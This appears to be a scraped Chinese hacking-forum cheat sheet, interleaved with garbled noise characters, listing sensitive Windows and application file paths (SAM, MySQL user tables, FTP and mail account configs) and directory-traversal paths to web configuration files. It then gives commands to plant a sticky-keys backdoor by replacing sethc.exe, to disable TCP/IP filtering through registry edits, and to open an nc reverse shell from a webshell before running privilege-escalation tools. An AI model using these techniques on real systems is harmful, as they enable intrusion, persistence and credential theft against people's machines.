" R( x6 z% r2 }C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
, e8 x$ \0 g; i9 W5 x6 t; m# Qc:\MySQL\MySQL Server 4.1\bin\mysql.exe
7 h( D: j8 T$ B* F" Dc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
: s- U; S' ]1 B& D! k/ X3 {+ ^, BC:\Program Files\Oracle\oraconfig\Lpk.dll
7 z5 p0 Q4 d% o7 X6 j) AC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
+ l. c: s5 i; H5 ]C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
& G1 Y' c2 g- h/ rC:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
7 \. k' x0 |/ O; ^C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
. f" T* \) M! c! d! j4 N, HC:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
. r4 ~; `  E  R4 oc:\program files\CMailServer\config.ini
- U) f% p8 q$ P* i+ zc:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
" x" N3 ]9 q% w9 J, s7 Zc:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
, P! N4 e$ u- E, p7 w" Ac:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
) N6 l0 @2 {! p/usr/local/tomcat5527/bin/version.sh
( E8 f9 g/ c: p) M" A/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
7 G- y2 s& H* D8 d$ c3 m) hc:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
$ M- a* p% L, v7 o: c) nc:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
1 F% Z6 x) l2 O6 |' ?C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
; W* @& ^7 u- \5 a: i0 o- zc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
5 F% }+ r7 J, l- V5 h3 Kc:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
& E1 g( e3 ~8 }  }! l8 n8 L. Q3 XC:\Program Files\Foxmal\accounts.cfg
0 V$ m3 r/ D1 ~+ z- v4 WC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
& K& k0 j. d- b" SC:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
# Z+ X3 [2 v- U) e8 ?3 D4 ^c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
! i- f, P9 M, J7 yc:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
6 x! b+ b' T; Y, M3 b3 zc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

2 O; [' V& w2 f/ L/ Q1 t2 [6 @$ w3.网站相对路径:
! {$ t4 h7 v, P/ P) P$ S! D
/config.php
9 V( V( y  N+ h5 W! J../../config.php
../config.php
4 I, T& U! m% k+ @7 c) `9 J../../../config.php
+ M) Z7 m2 b2 M& j/config.inc.php
$ m. _: ~& {3 @' I% f  s./config.inc.php
../../config.inc.php
../config.inc.php
4 q0 E. F: W) j  J../../../config.inc.php
/conn.php
: \2 S5 K9 o: }- J4 K  ?" u./conn.php
../../conn.php
0 ]% `( m1 z( r( @% \9 R../conn.php
1 m) M' L, U3 b7 k' J0 y5 W: n- @6 l../../../conn.php
/conn.asp
* f: Q( ~& r: }5 S3 a./conn.asp
# E: F+ M$ U; F: |+ X8 c../../conn.asp
../conn.asp
../../../conn.asp
/config.inc.php
) ]% ]7 _, V7 W, D) ?./config.inc.php
7 Y- j1 Q9 ?8 M../../config.inc.php
7 i9 [7 n3 R# L$ H3 h; [% n../config.inc.php
# [# r# u7 t) T) A3 E7 |( N../../../config.inc.php
/config/config.php
../../config/config.php
../config/config.php
../../../config/config.php
/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
1 ?  ]1 M7 j% N( ?5 @' l* g../config/config.inc.php
../../../config/config.inc.php
! w+ ?, U  ?2 [+ D6 o. c/config/conn.php
, w% M9 p+ w* D! R4 Z5 b./config/conn.php
3 \3 p# t0 w. d+ u4 b1 n6 Q( p. V../../config/conn.php
3 e# m, K; N: Y; H: P../config/conn.php
../../../config/conn.php
  ]" K( j  F6 W0 r5 `/config/conn.asp
( W' D/ F" C( @7 i0 {6 r- P# H' v./config/conn.asp
../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
9 `8 {7 O0 m. L./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
* V4 n* c" S8 D6 _" {/data/config.php
9 X# U- [+ A5 n/ e../../data/config.php
6 J) S2 n& ^& i8 w+ y! @../data/config.php
) z/ [( O2 J5 A# S  }$ J# ^# c../../../data/config.php
/data/config.inc.php
./data/config.inc.php
0 u& N; t- u( P0 s../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
./data/conn.php
../../data/conn.php
, J+ T) ~" S0 ]. a' V% g. w6 ~" _../data/conn.php
../../../data/conn.php
/data/conn.asp
4 ~% B4 r, s  m+ A0 B./data/conn.asp
0 h9 y9 F3 R4 f1 d" C6 N& v4 i) k# [../../data/conn.asp
../data/conn.asp
" T% B3 q: F( J8 N3 q/ w1 o../../../data/conn.asp
( x- J7 Y2 X- K8 j/data/config.inc.php
./data/config.inc.php
# Z9 V6 e1 `+ q! R, p# b8 m% {../../data/config.inc.php
../data/config.inc.php
* |. i+ b" H& j. Q  [2 V../../../data/config.inc.php
/include/config.php
, m/ W7 o; \+ v, a& b../../include/config.php
) j# L+ ]2 U# f, b2 V* T8 e% M../include/config.php
3 E* A1 P8 |! f../../../include/config.php
/include/config.inc.php
./include/config.inc.php
8 g. A$ A8 d- n- p; |../../include/config.inc.php
../include/config.inc.php
5 z  p- B" w* o../../../include/config.inc.php
/include/conn.php
./include/conn.php
* H5 m/ V6 U3 Q% T9 u5 r7 _2 K../../include/conn.php
" W  O2 p. k# F9 n../include/conn.php
../../../include/conn.php
* v5 x; X$ Y5 s  C- R$ T3 d, \/include/conn.asp
* k/ b1 ]  F+ T; H' A8 o+ L./include/conn.asp
../../include/conn.asp
9 b  k$ K+ P4 q* Q& w../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
  a. A% _4 r6 ^/ a; e# v( s./include/config.inc.php
../../include/config.inc.php
9 @9 }0 @2 U' F../include/config.inc.php
( o9 g5 R+ [5 G3 a% r3 s../../../include/config.inc.php
/ l8 u2 o. B, L/inc/config.php
../../inc/config.php
7 n6 o" Y, D0 p. s1 s../inc/config.php
' W. j# o& [% p% K' m& M../../../inc/config.php
) p! m) j: J; C. Y. s% X/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
1 }  @7 Q: O) P2 E2 `( @$ N( y../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
+ w& ?: ?9 T* E( V./inc/conn.php
../../inc/conn.php
& }% y3 q- B! i$ k$ K) ]../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
  U' [- [/ z  p4 G+ O) c/ u) @./inc/conn.asp
../../inc/conn.asp
2 M1 b. {  s0 U) q, f, I../inc/conn.asp
../../../inc/conn.asp
2 {% U9 y* B0 C1 O/ Y( R/inc/config.inc.php
( d$ _  R9 }: a0 ]* [( ]4 P0 Q3 @: J0 ]./inc/config.inc.php
/ Q% n) v3 q$ E% \../../inc/config.inc.php
../inc/config.inc.php
( k5 B1 X3 r6 s2 S# v) s' w( B# t../../../inc/config.inc.php
; |+ g( R4 U8 h, g0 ]( B* B/index.php
' J% P* X- ]8 J* d" K5 ]./index.php
../../index.php
% g) v* f) l3 J+ Z$ L../index.php
../../../index.php
7 r7 E8 G6 e6 N9 K+ ?- O% `/index.asp
+ h0 A) W2 z5 z& j8 U./index.asp
../../index.asp
../index.asp
../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
7 C9 {( I( ?: J
8 n8 C' }9 F- O" z" w/ _　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
  R5 _2 C& s8 N4 M& ?/ w* p
5 b6 A) d! P5 o- Q' a$ a　　del c:\windows\system32\sethc.exe
5 Y3 ^- {7 `4 @( _
8 D$ A# V# N! a( P# b　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
/ T4 S; G! L+ R) F去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
* S2 k3 F0 U7 a/ ~
9 i. H1 a2 n# p! A2 b分别用
8 F+ V0 b, e: q, }! Fregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
* g: B2 ?5 X5 i9 ~: y4 N/ u2 cregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
. [3 A8 M# k2 l5 uregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项
- x  V8 [0 a( `" K
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

. J8 G+ l- G2 p; H1 ?8 @# \6 @0 O( b( a再将以上三个文件分别用
regedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可

% c; M, X4 K% `2 a7 cwebshell提权小技巧
cmd路径:
/ r) ^# k  N! V5 Lc:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
2 m' U/ c" K6 D/ C/ _这个不是重点
* ^  f% M! V% ~# L+ R我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功